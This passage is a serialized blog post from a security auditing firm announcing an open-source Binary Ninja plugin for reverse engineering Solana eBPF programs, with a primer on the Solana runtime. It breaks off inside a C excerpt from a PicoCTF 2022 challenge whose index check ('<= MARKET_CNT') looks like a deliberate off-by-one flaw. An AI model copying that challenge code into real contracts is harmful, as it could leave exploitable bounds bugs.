[{"data":1,"prerenderedAt":164787},["ShallowReactive",2],{"blog-/blog/2022-08-27-reverse-engineering-solana":3,"featured-blog-posts":2123},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"author":10,"image":11,"date":15,"tags":16,"isFeatured":6,"onBlogPage":18,"body":19,"_type":2117,"_id":2118,"_source":2119,"_file":2120,"_stem":2121,"_extension":2122},"/blog/2022-08-27-reverse-engineering-solana","blog",false,"","Reverse Engineering Solana with Binary Ninja","An introduction to our open-source Binary Ninja plugin for blackbox Solana program analysis along with an executive reference to the Solana runtime.","harrison",{"src":12,"height":13,"width":14},"/posts/reverse-engineering/detective.jpeg",693,1069,"2022-08-27",[17],"solana",true,{"type":20,"children":21,"toc":2101},"root",[22,48,53,60,67,72,78,83,115,121,126,174,180,191,203,216,252,262,283,290,303,387,392,490,496,524,529,601,609,614,634,642,648,654,659,682,694,700,714,761,767,793,798,803,813,818,831,836,843,848,856,864,870,911,918,924,929,935,940,953,960,966,971,978,991,2084,2090,2095],{"type":23,"tag":24,"props":25,"children":26},"element","p",{},[27,30,39,41,46],{"type":28,"value":29},"text","We are excited to announce the release of our open-source ",{"type":23,"tag":31,"props":32,"children":36},"a",{"href":33,"rel":34},"https://github.com/otter-sec/bn-ebpf-solana",[35],"nofollow",[37],{"type":28,"value":38},"Binary Ninja plugin for Solana",{"type":28,"value":40},"! We have been hard at work developing this tool internally to aid our efforts in blackbox Solana program analysis. While it is still in development, it is now mature enough to be useful (and usable) and we have decided to release it to the larger security community. You can find it on Github here: ",{"type":23,"tag":31,"props":42,"children":44},{"href":33,"rel":43},[35],[45],{"type":28,"value":33},{"type":28,"value":47},". If you find bugs in our plugin or want to add improvements, please open an issue or submit a PR!",{"type":23,"tag":24,"props":49,"children":50},{},[51],{"type":28,"value":52},"In this blog post, we will provide some background on the Solana runtime and describe the various components of our plugin. In subsequent blog posts, we will dive into case studies of using this tool to decompile and analyze closed-source Solana programs.",{"type":23,"tag":54,"props":55,"children":57},"h1",{"id":56},"a-primer-on-the-solana-runtime",[58],{"type":28,"value":59},"A Primer on the Solana Runtime",{"type":23,"tag":61,"props":62,"children":64},"h2",{"id":63},"solana-programs",[65],{"type":28,"value":66},"Solana Programs",{"type":23,"tag":24,"props":68,"children":69},{},[70],{"type":28,"value":71},"Solana programs are written in Rust or C (currently) and compiled to a Solana-flavored EBPF ELF format. These ELF files are stored in data accounts on-chain and contain all the information required to actually run the programs. Often times, the compiler will throw out irrelevant, human-only information like variable names and function names.",{"type":23,"tag":61,"props":73,"children":75},{"id":74},"solana-virtual-machine",[76],{"type":28,"value":77},"Solana Virtual Machine",{"type":23,"tag":24,"props":79,"children":80},{},[81],{"type":28,"value":82},"While EBPF was originally designed for use in the Linux kernel, Solana has adapted a slightly modified version for use on the blockchain. A solana program runs in a completely isolated environment except for two interfaces:",{"type":23,"tag":84,"props":85,"children":86},"ol",{},[87,102],{"type":23,"tag":88,"props":89,"children":90},"li",{},[91,93,100],{"type":28,"value":92},"The ",{"type":23,"tag":94,"props":95,"children":97},"code",{"className":96},[],[98],{"type":28,"value":99},"input",{"type":28,"value":101}," memory segment, used for passing information about the initial arguments to a program (accounts, instruction info, transaction context, )",{"type":23,"tag":88,"props":103,"children":104},{},[105,107,113],{"type":28,"value":106},"A set of ",{"type":23,"tag":94,"props":108,"children":110},{"className":109},[],[111],{"type":28,"value":112},"syscalls",{"type":28,"value":114}," which allow Solana programs to interact with the runtime through a well-defined API.",{"type":23,"tag":61,"props":116,"children":118},{"id":117},"memory-model",[119],{"type":28,"value":120},"Memory Model",{"type":23,"tag":24,"props":122,"children":123},{},[124],{"type":28,"value":125},"Memory segments are relocated to specific regions in the Solana memory model:",{"type":23,"tag":127,"props":128,"children":129},"ul",{},[130,141,152,163],{"type":23,"tag":88,"props":131,"children":132},{},[133,139],{"type":23,"tag":94,"props":134,"children":136},{"className":135},[],[137],{"type":28,"value":138},"0x100000000",{"type":28,"value":140},": Text — contains code and read-only data from the ELF",{"type":23,"tag":88,"props":142,"children":143},{},[144,150],{"type":23,"tag":94,"props":145,"children":147},{"className":146},[],[148],{"type":28,"value":149},"0x200000000",{"type":28,"value":151},": Stack - dedicated space for stack data",{"type":23,"tag":88,"props":153,"children":154},{},[155,161],{"type":23,"tag":94,"props":156,"children":158},{"className":157},[],[159],{"type":28,"value":160},"0x300000000",{"type":28,"value":162},": Heap - dedicated space for heap storage",{"type":23,"tag":88,"props":164,"children":165},{},[166,172],{"type":23,"tag":94,"props":167,"children":169},{"className":168},[],[170],{"type":28,"value":171},"0x400000000",{"type":28,"value":173},": Input — contains serialized input data. This is populated by the runtime everytime a program runs.",{"type":23,"tag":61,"props":175,"children":177},{"id":176},"transactions-and-instructions",[178],{"type":28,"value":179},"Transactions and Instructions",{"type":23,"tag":24,"props":181,"children":182},{},[183,185],{"type":28,"value":184},"In Solana you interact with programs by issuing a Transaction. Every Transaction consists of one or more Instruction. Conceptually each Instruction is responsible for invoking “one function” on a particular program. ",{"type":23,"tag":186,"props":187,"children":188},"em",{},[189],{"type":28,"value":190},"Note: this doesn’t necessarily have to be the case, but this is how most Solana programs are designed.",{"type":23,"tag":192,"props":193,"children":195},"div",{"style":194},"display:flex; align-items:center; flex-direction:column;",[196],{"type":23,"tag":197,"props":198,"children":202},"img",{"src":199,"alt":200,"style":201},"/posts/reverse-engineering/tx_ix.png","drawing","height:300px;",[],{"type":23,"tag":24,"props":204,"children":205},{},[206,208,214],{"type":28,"value":207},"Each ",{"type":23,"tag":94,"props":209,"children":211},{"className":210},[],[212],{"type":28,"value":213},"Instruction",{"type":28,"value":215}," contains the following attributes:",{"type":23,"tag":127,"props":217,"children":218},{},[219,230,241],{"type":23,"tag":88,"props":220,"children":221},{},[222,228],{"type":23,"tag":94,"props":223,"children":225},{"className":224},[],[226],{"type":28,"value":227},"progam_id",{"type":28,"value":229},": The address of the program we want to invoke.",{"type":23,"tag":88,"props":231,"children":232},{},[233,239],{"type":23,"tag":94,"props":234,"children":236},{"className":235},[],[237],{"type":28,"value":238},"accounts",{"type":28,"value":240},": A list of accounts we will use during execution*",{"type":23,"tag":88,"props":242,"children":243},{},[244,250],{"type":23,"tag":94,"props":245,"children":247},{"className":246},[],[248],{"type":28,"value":249},"data",{"type":28,"value":251},": Arbitrary data that is passed to the program",{"type":23,"tag":24,"props":253,"children":254},{},[255,257],{"type":28,"value":256},"*",{"type":23,"tag":186,"props":258,"children":259},{},[260],{"type":28,"value":261},"Solana requires us to predefine which accounts we will need to access during our instruction so the runtime can parallelize instructions that operate on disjoint sets.",{"type":23,"tag":24,"props":263,"children":264},{},[265,267,272,274,281],{"type":28,"value":266},"Unlike some other blockchain architectures, programs in Solana have just ",{"type":23,"tag":186,"props":268,"children":269},{},[270],{"type":28,"value":271},"one",{"type":28,"value":273}," entrypoint. Programs that want to implement multiple \"functions\" need to do so in user-space. Typically this is handled by a high level framework such as ",{"type":23,"tag":31,"props":275,"children":278},{"href":276,"rel":277},"https://www.anchor-lang.com/",[35],[279],{"type":28,"value":280},"Anchor",{"type":28,"value":282},".",{"type":23,"tag":192,"props":284,"children":285},{"style":194},[286],{"type":23,"tag":197,"props":287,"children":289},{"src":288,"alt":200,"style":201},"/posts/reverse-engineering/entrypoint.png",[],{"type":23,"tag":24,"props":291,"children":292},{},[293,295,301],{"type":28,"value":294},"At the binary level, the ",{"type":23,"tag":94,"props":296,"children":298},{"className":297},[],[299],{"type":28,"value":300},"entrypoint",{"type":28,"value":302}," is implemented by defining a symbol in the ELF with the name \"entrypoint\" that points to the first function to run. E.g. in C, this is as simple as defining the following function:",{"type":23,"tag":304,"props":305,"children":309},"pre",{"className":306,"code":307,"language":308,"meta":7,"style":7},"language-c shiki shiki-themes slack-dark","extern uint64_t entrypoint(const uint8_t *input) {\n // do things\n}\n","c",[310],{"type":23,"tag":94,"props":311,"children":312},{"__ignoreMap":7},[313,368,378],{"type":23,"tag":314,"props":315,"children":318},"span",{"class":316,"line":317},"line",1,[319,325,330,336,342,347,352,358,363],{"type":23,"tag":314,"props":320,"children":322},{"style":321},"--shiki-default:#569CD6",[323],{"type":28,"value":324},"extern",{"type":23,"tag":314,"props":326,"children":327},{"style":321},[328],{"type":28,"value":329}," uint64_t",{"type":23,"tag":314,"props":331,"children":333},{"style":332},"--shiki-default:#DCDCAA",[334],{"type":28,"value":335}," entrypoint",{"type":23,"tag":314,"props":337,"children":339},{"style":338},"--shiki-default:#E6E6E6",[340],{"type":28,"value":341},"(",{"type":23,"tag":314,"props":343,"children":344},{"style":321},[345],{"type":28,"value":346},"const",{"type":23,"tag":314,"props":348,"children":349},{"style":321},[350],{"type":28,"value":351}," uint8_t",{"type":23,"tag":314,"props":353,"children":355},{"style":354},"--shiki-default:#D4D4D4",[356],{"type":28,"value":357}," *",{"type":23,"tag":314,"props":359,"children":361},{"style":360},"--shiki-default:#9CDCFE",[362],{"type":28,"value":99},{"type":23,"tag":314,"props":364,"children":365},{"style":338},[366],{"type":28,"value":367},") {\n",{"type":23,"tag":314,"props":369,"children":371},{"class":316,"line":370},2,[372],{"type":23,"tag":314,"props":373,"children":375},{"style":374},"--shiki-default:#6A9955",[376],{"type":28,"value":377}," // do things\n",{"type":23,"tag":314,"props":379,"children":381},{"class":316,"line":380},3,[382],{"type":23,"tag":314,"props":383,"children":384},{"style":338},[385],{"type":28,"value":386},"}\n",{"type":23,"tag":24,"props":388,"children":389},{},[390],{"type":28,"value":391},"In order to process an instruction, the runtime does the following steps (in brief):",{"type":23,"tag":84,"props":393,"children":394},{},[395,408,420,432,451,478],{"type":23,"tag":88,"props":396,"children":397},{},[398,400,406],{"type":28,"value":399},"Lookup the ",{"type":23,"tag":94,"props":401,"children":403},{"className":402},[],[404],{"type":28,"value":405},"program_id",{"type":28,"value":407}," account.",{"type":23,"tag":88,"props":409,"children":410},{},[411,413,418],{"type":28,"value":412},"Lookup the loader for the program (",{"type":23,"tag":186,"props":414,"children":415},{},[416],{"type":28,"value":417},"All user-written programs currently use a variant of the BPF loader which is the one responsible for running BPF code. However, Solana is designed in a way where additional loaders may be available in the future",{"type":28,"value":419},").",{"type":23,"tag":88,"props":421,"children":422},{},[423,425,430],{"type":28,"value":424},"Parse the ELF file and construct an instance of the VM (",{"type":23,"tag":186,"props":426,"children":427},{},[428],{"type":28,"value":429},"runtime may do some optimizations such as JITing the program",{"type":28,"value":431},")",{"type":23,"tag":88,"props":433,"children":434},{},[435,437,442,444,449],{"type":28,"value":436},"Serialize the ",{"type":23,"tag":94,"props":438,"children":440},{"className":439},[],[441],{"type":28,"value":238},{"type":28,"value":443}," and transaction context into the ",{"type":23,"tag":94,"props":445,"children":447},{"className":446},[],[448],{"type":28,"value":99},{"type":28,"value":450}," segment of the VM.",{"type":23,"tag":88,"props":452,"children":453},{},[454,456,461,463,468,470],{"type":28,"value":455},"Invoke the ",{"type":23,"tag":94,"props":457,"children":459},{"className":458},[],[460],{"type":28,"value":300},{"type":28,"value":462}," function in the program with the Instruction ",{"type":23,"tag":94,"props":464,"children":466},{"className":465},[],[467],{"type":28,"value":249},{"type":28,"value":469}," as an argument.\n",{"type":23,"tag":84,"props":471,"children":472},{},[473],{"type":23,"tag":88,"props":474,"children":475},{},[476],{"type":28,"value":477},"... program logic runs here ...",{"type":23,"tag":88,"props":479,"children":480},{},[481,483,488],{"type":28,"value":482},"Deserialize the ",{"type":23,"tag":94,"props":484,"children":486},{"className":485},[],[487],{"type":28,"value":99},{"type":28,"value":489}," segment, validate the changes, and commit the results back to the global state.",{"type":23,"tag":61,"props":491,"children":493},{"id":492},"cross-program-invocation",[494],{"type":28,"value":495},"Cross-program Invocation",{"type":23,"tag":24,"props":497,"children":498},{},[499,501,506,508,514,516,522],{"type":28,"value":500},"Solana programs can also invoke other programs directly. This is called ",{"type":23,"tag":186,"props":502,"children":503},{},[504],{"type":28,"value":505},"cross-program invocation",{"type":28,"value":507}," (CPI). In Solana, this is achieved through syscalls (",{"type":23,"tag":94,"props":509,"children":511},{"className":510},[],[512],{"type":28,"value":513},"sol_invoke_signed_c",{"type":28,"value":515}," or ",{"type":23,"tag":94,"props":517,"children":519},{"className":518},[],[520],{"type":28,"value":521},"sol_invoke_signed_rust",{"type":28,"value":523},") which differ only in the ABI.",{"type":23,"tag":24,"props":525,"children":526},{},[527],{"type":28,"value":528},"Using these syscalls, a program can issue instructions that execute on other programs. Importantly, any accounts used in these nested instructions must also be provided in the initial instruction.",{"type":23,"tag":24,"props":530,"children":531},{},[532,534,540,542,548,550,556,558,564,566,572,574,579,581,586,588,593,595,600],{"type":28,"value":533},"In this diagram, ",{"type":23,"tag":94,"props":535,"children":537},{"className":536},[],[538],{"type":28,"value":539},"MyProgram",{"type":28,"value":541}," performs two cross-program invocations on some mock ",{"type":23,"tag":94,"props":543,"children":545},{"className":544},[],[546],{"type":28,"value":547},"token-mgr",{"type":28,"value":549}," program which has some ",{"type":23,"tag":94,"props":551,"children":553},{"className":552},[],[554],{"type":28,"value":555},"Burn",{"type":28,"value":557}," and ",{"type":23,"tag":94,"props":559,"children":561},{"className":560},[],[562],{"type":28,"value":563},"Mint",{"type":28,"value":565}," actions. The notation ",{"type":23,"tag":94,"props":567,"children":569},{"className":568},[],[570],{"type":28,"value":571},"[Instr()]",{"type":28,"value":573}," represents a serialized enum. Note that the ",{"type":23,"tag":94,"props":575,"children":577},{"className":576},[],[578],{"type":28,"value":547},{"type":28,"value":580}," program account must be listed in the original instruction in order to perform a CPI on it. Additionally, note that the two cross-program calls to ",{"type":23,"tag":94,"props":582,"children":584},{"className":583},[],[585],{"type":28,"value":547},{"type":28,"value":587}," invoke the ",{"type":23,"tag":186,"props":589,"children":590},{},[591],{"type":28,"value":592},"same",{"type":28,"value":594}," entrypoint. The choice of action to take is determined by looking at the value in the provided ",{"type":23,"tag":94,"props":596,"children":598},{"className":597},[],[599],{"type":28,"value":249},{"type":28,"value":282},{"type":23,"tag":192,"props":602,"children":603},{"style":194},[604],{"type":23,"tag":197,"props":605,"children":608},{"src":606,"alt":200,"style":607},"/posts/reverse-engineering/cpi.png","max-height:300px;",[],{"type":23,"tag":24,"props":610,"children":611},{},[612],{"type":28,"value":613},"When a Solana program invokes one of these syscalls, the current VM is paused and the runtime goes through the same steps as above to load the target program into a new VM and execute it. Once the cross-program invocation completes, the original VM resumes execution.",{"type":23,"tag":24,"props":615,"children":616},{},[617,619,625,626,632],{"type":28,"value":618},"Programs can set and get return data via the ",{"type":23,"tag":94,"props":620,"children":622},{"className":621},[],[623],{"type":28,"value":624},"sol_set_return_data",{"type":28,"value":557},{"type":23,"tag":94,"props":627,"children":629},{"className":628},[],[630],{"type":28,"value":631},"sol_get_return_data",{"type":28,"value":633}," syscalls, allowing for some information to be passed between these calls.",{"type":23,"tag":24,"props":635,"children":636},{},[637],{"type":23,"tag":186,"props":638,"children":639},{},[640],{"type":28,"value":641},"Note: currently there are some bounds on CPI. Specifically the depth (number of nested calls) is limited to 4 and reentrancy is mostly prohibited",{"type":23,"tag":54,"props":643,"children":645},{"id":644},"solana-program-analysis",[646],{"type":28,"value":647},"Solana Program Analysis",{"type":23,"tag":61,"props":649,"children":651},{"id":650},"what-information-do-we-have",[652],{"type":28,"value":653},"What information do we have?",{"type":23,"tag":24,"props":655,"children":656},{},[657],{"type":28,"value":658},"As auditors, we always have access to our customers' source code. This access has a lot of benefits when it comes to understanding how a piece of code works:",{"type":23,"tag":127,"props":660,"children":661},{},[662,667,672,677],{"type":23,"tag":88,"props":663,"children":664},{},[665],{"type":28,"value":666},"There are symbol names (functions, variables, ...)",{"type":23,"tag":88,"props":668,"children":669},{},[670],{"type":28,"value":671},"There are full structure definitinons",{"type":23,"tag":88,"props":673,"children":674},{},[675],{"type":28,"value":676},"There are comments (and hopefully documentation)",{"type":23,"tag":88,"props":678,"children":679},{},[680],{"type":28,"value":681},"We can easily recompile and test things",{"type":23,"tag":24,"props":683,"children":684},{},[685,687,692],{"type":28,"value":686},"While most protocols built on Solana release their code as open-source, some do not. Therefore, without exclusive auditor-access to the source code, one may be left exploring other options. Additionally, an attacker is ",{"type":23,"tag":186,"props":688,"children":689},{},[690],{"type":28,"value":691},"definitely",{"type":28,"value":693}," not going to publish the source code for their malicious programs, so what other information can we use?",{"type":23,"tag":61,"props":695,"children":697},{"id":696},"transaction-history",[698],{"type":28,"value":699},"Transaction History",{"type":23,"tag":24,"props":701,"children":702},{},[703,705,712],{"type":28,"value":704},"One particularlly useful technique is to look at previous instructions executed on a particular program in the ",{"type":23,"tag":31,"props":706,"children":709},{"href":707,"rel":708},"https://explorer.solana.com/",[35],[710],{"type":28,"value":711},"explorer",{"type":28,"value":713},". When an instruction is executed, lots of useful information is stored:",{"type":23,"tag":127,"props":715,"children":716},{},[717,736],{"type":23,"tag":88,"props":718,"children":719},{},[720,726,728,734],{"type":23,"tag":721,"props":722,"children":723},"strong",{},[724],{"type":28,"value":725},"logs",{"type":28,"value":727},": Solana programs can write log strings via the ",{"type":23,"tag":94,"props":729,"children":731},{"className":730},[],[732],{"type":28,"value":733},"sol_log_*",{"type":28,"value":735}," syscalls. Often times, programs will log the name of the instruction being executed which lets you easily pick apart instruction formats.",{"type":23,"tag":88,"props":737,"children":738},{},[739,744,746,751,753,759],{"type":23,"tag":721,"props":740,"children":741},{},[742],{"type":28,"value":743},"CPI results",{"type":28,"value":745},": Every nested cross-program-invocation will be stored as part of the instruction result. These details include the full ",{"type":23,"tag":94,"props":747,"children":749},{"className":748},[],[750],{"type":28,"value":213},{"type":28,"value":752}," object for every call which lets us see exactly which programs were invoked and with what set of addresses and data. Many DeFi protocols make calls to token management programs such as ",{"type":23,"tag":94,"props":754,"children":756},{"className":755},[],[757],{"type":28,"value":758},"spl-token",{"type":28,"value":760}," which lets us easily see how money is being transfered.",{"type":23,"tag":61,"props":762,"children":764},{"id":763},"diving-deeper",[765],{"type":28,"value":766},"Diving Deeper",{"type":23,"tag":24,"props":768,"children":769},{},[770,772,777,779,784,786,791],{"type":28,"value":771},"While these techniques are useful for analyzing the effect a particular instruction had (i.e. ",{"type":23,"tag":186,"props":773,"children":774},{},[775],{"type":28,"value":776},"what did it call?",{"type":28,"value":778},", ",{"type":23,"tag":186,"props":780,"children":781},{},[782],{"type":28,"value":783},"what did it do?",{"type":28,"value":785},"), we are so-far unable to understand exactly ",{"type":23,"tag":186,"props":787,"children":788},{},[789],{"type":28,"value":790},"how",{"type":28,"value":792}," the program operates: what decisions does it make? what is it capable of doing? how was it designed?",{"type":23,"tag":24,"props":794,"children":795},{},[796],{"type":28,"value":797},"To get into those more complex details, we need to actually analyze the compiled EBPF program. While tooling for traditional native binaries is quite advanced, there are not many existing tools for Solana binary analysis. So we decided to develop our own tool for Solana program analysis...",{"type":23,"tag":54,"props":799,"children":801},{"id":800},"bn-ebpf-solana",[802],{"type":28,"value":800},{"type":23,"tag":24,"props":804,"children":805},{},[806,811],{"type":23,"tag":31,"props":807,"children":809},{"href":33,"rel":808},[35],[810],{"type":28,"value":800},{"type":28,"value":812}," is an open-source plugin for Binary Ninja that supports Solana-flavored EBPF. It is still a work in progress; there are several features we are planning to add that will make blackbox Solana program analysis easier. However, in its current stage it has proved useful for our own internal analyses and we have decided to make it open source so it can be useful for other people as well!",{"type":23,"tag":24,"props":814,"children":815},{},[816],{"type":28,"value":817},"The plugin consists of two parts:",{"type":23,"tag":127,"props":819,"children":820},{},[821,826],{"type":23,"tag":88,"props":822,"children":823},{},[824],{"type":28,"value":825},"An architecture plugin which supports the Solana flavor of EBPF",{"type":23,"tag":88,"props":827,"children":828},{},[829],{"type":28,"value":830},"A custom BinaryView implementation which understands the Solana ELF format and Solana-specific relocations",{"type":23,"tag":24,"props":832,"children":833},{},[834],{"type":28,"value":835},"Currently, the following features are supported:",{"type":23,"tag":837,"props":838,"children":840},"h3",{"id":839},"instruction-lifting",[841],{"type":28,"value":842},"Instruction Lifting",{"type":23,"tag":24,"props":844,"children":845},{},[846],{"type":28,"value":847},"LLIL lifting is implemented for all EBPF instructions which allows Binary Ninja to perform local static analysis and generate consise decompilation.",{"type":23,"tag":24,"props":849,"children":850},{},[851],{"type":23,"tag":186,"props":852,"children":853},{},[854],{"type":28,"value":855},"left: CFG disassembly view / right: linear HLIL view",{"type":23,"tag":192,"props":857,"children":858},{"style":194},[859],{"type":23,"tag":197,"props":860,"children":863},{"src":861,"alt":200,"style":862},"/posts/reverse-engineering/lift.png","width:100%;",[],{"type":23,"tag":837,"props":865,"children":867},{"id":866},"accurate-memory-maps",[868],{"type":28,"value":869},"Accurate Memory Maps",{"type":23,"tag":24,"props":871,"children":872},{},[873,875,880,882,888,890,896,897,903,904,909],{"type":28,"value":874},"ELF sections are relocated into the ",{"type":23,"tag":94,"props":876,"children":878},{"className":877},[],[879],{"type":28,"value":138},{"type":28,"value":881}," range as implemented by the core runtime code. Additional segments are created at ",{"type":23,"tag":94,"props":883,"children":885},{"className":884},[],[886],{"type":28,"value":887},"0x{2/3/4}00000000",{"type":28,"value":889}," for the ",{"type":23,"tag":94,"props":891,"children":893},{"className":892},[],[894],{"type":28,"value":895},"stack",{"type":28,"value":778},{"type":23,"tag":94,"props":898,"children":900},{"className":899},[],[901],{"type":28,"value":902},"heap",{"type":28,"value":557},{"type":23,"tag":94,"props":905,"children":907},{"className":906},[],[908],{"type":28,"value":99},{"type":28,"value":910}," segments.",{"type":23,"tag":192,"props":912,"children":913},{"style":194},[914],{"type":23,"tag":197,"props":915,"children":917},{"src":916,"alt":200,"style":607},"/posts/reverse-engineering/mem.png",[],{"type":23,"tag":837,"props":919,"children":921},{"id":920},"solana-elf-relocations",[922],{"type":28,"value":923},"Solana ELF Relocations",{"type":23,"tag":24,"props":925,"children":926},{},[927],{"type":28,"value":928},"We apply the Solana-specific ELF relocations as implemented by the core runtime.",{"type":23,"tag":837,"props":930,"children":932},{"id":931},"syscall-function-signatures",[933],{"type":28,"value":934},"Syscall Function Signatures",{"type":23,"tag":24,"props":936,"children":937},{},[938],{"type":28,"value":939},"We identify Solana syscalls, convert them to calls and apply the correct function signatures.",{"type":23,"tag":24,"props":941,"children":942},{},[943,945,951],{"type":28,"value":944},"In this example, the ",{"type":23,"tag":94,"props":946,"children":948},{"className":947},[],[949],{"type":28,"value":950},"sol_panic_",{"type":28,"value":952}," signature is automatically as soon as you open the EBPF .so file.",{"type":23,"tag":192,"props":954,"children":955},{"style":194},[956],{"type":23,"tag":197,"props":957,"children":959},{"src":958,"alt":200,"style":862},"/posts/reverse-engineering/syscall.png",[],{"type":23,"tag":837,"props":961,"children":963},{"id":962},"solana-sdk-types",[964],{"type":28,"value":965},"Solana SDK Types",{"type":23,"tag":24,"props":967,"children":968},{},[969],{"type":28,"value":970},"We autopopulate the analysis view with Solana SDK types (C is fully supported, Rust is still a work-in-progress). These types allow for full structure recovery of Solana objects used at runtime.",{"type":23,"tag":192,"props":972,"children":973},{"style":194},[974],{"type":23,"tag":197,"props":975,"children":977},{"src":976,"alt":200,"style":862},"/posts/reverse-engineering/struct.png",[],{"type":23,"tag":24,"props":979,"children":980},{},[981,983,989],{"type":28,"value":982},"Compare this code with the corresponding source code (from the ",{"type":23,"tag":94,"props":984,"children":986},{"className":985},[],[987],{"type":28,"value":988},"solfire",{"type":28,"value":990}," challenge from PicoCTF 2022):",{"type":23,"tag":304,"props":992,"children":994},{"className":306,"code":993,"language":308,"meta":7,"style":7},"sol_assert(payee->is_signer);\nsol_assert(params->data_len - 4 >= sizeof(*args));\n\nargs = (withdraw_args*) (params->data + 4);\nsol_assert(args->idx \u003C= MARKET_CNT);\nsol_assert(args->amt != 0);\n\nuint8_t seed[] = { 'v', 'a', 'u', 'l', 't', 'x' };\nseed[5] = args->bump;\n\nconst SolSignerSeed seeds[] = {{seed, SOL_ARRAY_SIZE(seed)}};\nconst SolSignerSeeds signers_seeds[] = {{seeds, SOL_ARRAY_SIZE(seeds)}};\n\nSolAccountMeta arguments[] = {\n {vault->key, true, true},\n {payee->key, true, false},\n};\nuint8_t data[4 + sizeof(transfer_amount_sys)];\nsol_memset(data, 0, sizeof(data));\n\n*(uint16_t *)data = TRANSFER;\ntransfer_amount_sys* data_args = (transfer_amount_sys*) (data + 4);\ndata_args->lamports = args->amt;\n\nconst SolInstruction instruction = {system_program->key, arguments,\n SOL_ARRAY_SIZE(arguments), data,\n SOL_ARRAY_SIZE(data)};\nsol_invoke_signed(&instruction, params->ka, params->ka_num,\n signers_seeds, SOL_ARRAY_SIZE(signers_seeds));\n\nLendingData* ld_obj = (LendingData*) ld_acct->data;\nMarket* market = &ld_obj->markets[args->idx];\nmarket->liab += args->amt;\nsol_assert(market->liab \u003C= market->collat);\n",[995],{"type":23,"tag":94,"props":996,"children":997},{"__ignoreMap":7},[998,1026,1081,1089,1139,1171,1206,1214,1299,1341,1349,1385,1420,1428,1450,1495,1537,1546,1582,1615,1623,1658,1706,1741,1749,1789,1803,1816,1871,1889,1897,1942,2006,2041],{"type":23,"tag":314,"props":999,"children":1000},{"class":316,"line":317},[1001,1006,1011,1016,1021],{"type":23,"tag":314,"props":1002,"children":1003},{"style":332},[1004],{"type":28,"value":1005},"sol_assert",{"type":23,"tag":314,"props":1007,"children":1008},{"style":338},[1009],{"type":28,"value":1010},"(payee",{"type":23,"tag":314,"props":1012,"children":1013},{"style":354},[1014],{"type":28,"value":1015},"->",{"type":23,"tag":314,"props":1017,"children":1018},{"style":360},[1019],{"type":28,"value":1020},"is_signer",{"type":23,"tag":314,"props":1022,"children":1023},{"style":338},[1024],{"type":28,"value":1025},");\n",{"type":23,"tag":314,"props":1027,"children":1028},{"class":316,"line":370},[1029,1033,1038,1042,1047,1052,1058,1063,1068,1072,1076],{"type":23,"tag":314,"props":1030,"children":1031},{"style":332},[1032],{"type":28,"value":1005},{"type":23,"tag":314,"props":1034,"children":1035},{"style":338},[1036],{"type":28,"value":1037},"(params",{"type":23,"tag":314,"props":1039,"children":1040},{"style":354},[1041],{"type":28,"value":1015},{"type":23,"tag":314,"props":1043,"children":1044},{"style":338},[1045],{"type":28,"value":1046},"data_len ",{"type":23,"tag":314,"props":1048,"children":1049},{"style":354},[1050],{"type":28,"value":1051},"-",{"type":23,"tag":314,"props":1053,"children":1055},{"style":1054},"--shiki-default:#B5CEA8",[1056],{"type":28,"value":1057}," 4",{"type":23,"tag":314,"props":1059,"children":1060},{"style":354},[1061],{"type":28,"value":1062}," >=",{"type":23,"tag":314,"props":1064,"children":1065},{"style":321},[1066],{"type":28,"value":1067}," sizeof",{"type":23,"tag":314,"props":1069,"children":1070},{"style":338},[1071],{"type":28,"value":341},{"type":23,"tag":314,"props":1073,"children":1074},{"style":354},[1075],{"type":28,"value":256},{"type":23,"tag":314,"props":1077,"children":1078},{"style":338},[1079],{"type":28,"value":1080},"args));\n",{"type":23,"tag":314,"props":1082,"children":1083},{"class":316,"line":380},[1084],{"type":23,"tag":314,"props":1085,"children":1086},{"emptyLinePlaceholder":18},[1087],{"type":28,"value":1088},"\n",{"type":23,"tag":314,"props":1090,"children":1092},{"class":316,"line":1091},4,[1093,1098,1103,1108,1112,1117,1121,1126,1131,1135],{"type":23,"tag":314,"props":1094,"children":1095},{"style":338},[1096],{"type":28,"value":1097},"args ",{"type":23,"tag":314,"props":1099,"children":1100},{"style":354},[1101],{"type":28,"value":1102},"=",{"type":23,"tag":314,"props":1104,"children":1105},{"style":338},[1106],{"type":28,"value":1107}," (withdraw_args",{"type":23,"tag":314,"props":1109,"children":1110},{"style":354},[1111],{"type":28,"value":256},{"type":23,"tag":314,"props":1113,"children":1114},{"style":338},[1115],{"type":28,"value":1116},") (params",{"type":23,"tag":314,"props":1118,"children":1119},{"style":354},[1120],{"type":28,"value":1015},{"type":23,"tag":314,"props":1122,"children":1123},{"style":338},[1124],{"type":28,"value":1125},"data ",{"type":23,"tag":314,"props":1127,"children":1128},{"style":354},[1129],{"type":28,"value":1130},"+",{"type":23,"tag":314,"props":1132,"children":1133},{"style":1054},[1134],{"type":28,"value":1057},{"type":23,"tag":314,"props":1136,"children":1137},{"style":338},[1138],{"type":28,"value":1025},{"type":23,"tag":314,"props":1140,"children":1142},{"class":316,"line":1141},5,[1143,1147,1152,1156,1161,1166],{"type":23,"tag":314,"props":1144,"children":1145},{"style":332},[1146],{"type":28,"value":1005},{"type":23,"tag":314,"props":1148,"children":1149},{"style":338},[1150],{"type":28,"value":1151},"(args",{"type":23,"tag":314,"props":1153,"children":1154},{"style":354},[1155],{"type":28,"value":1015},{"type":23,"tag":314,"props":1157,"children":1158},{"style":338},[1159],{"type":28,"value":1160},"idx ",{"type":23,"tag":314,"props":1162,"children":1163},{"style":354},[1164],{"type":28,"value":1165},"\u003C=",{"type":23,"tag":314,"props":1167,"children":1168},{"style":338},[1169],{"type":28,"value":1170}," MARKET_CNT);\n",{"type":23,"tag":314,"props":1172,"children":1174},{"class":316,"line":1173},6,[1175,1179,1183,1187,1192,1197,1202],{"type":23,"tag":314,"props":1176,"children":1177},{"style":332},[1178],{"type":28,"value":1005},{"type":23,"tag":314,"props":1180,"children":1181},{"style":338},[1182],{"type":28,"value":1151},{"type":23,"tag":314,"props":1184,"children":1185},{"style":354},[1186],{"type":28,"value":1015},{"type":23,"tag":314,"props":1188,"children":1189},{"style":338},[1190],{"type":28,"value":1191},"amt ",{"type":23,"tag":314,"props":1193,"children":1194},{"style":354},[1195],{"type":28,"value":1196},"!=",{"type":23,"tag":314,"props":1198,"children":1199},{"style":1054},[1200],{"type":28,"value":1201}," 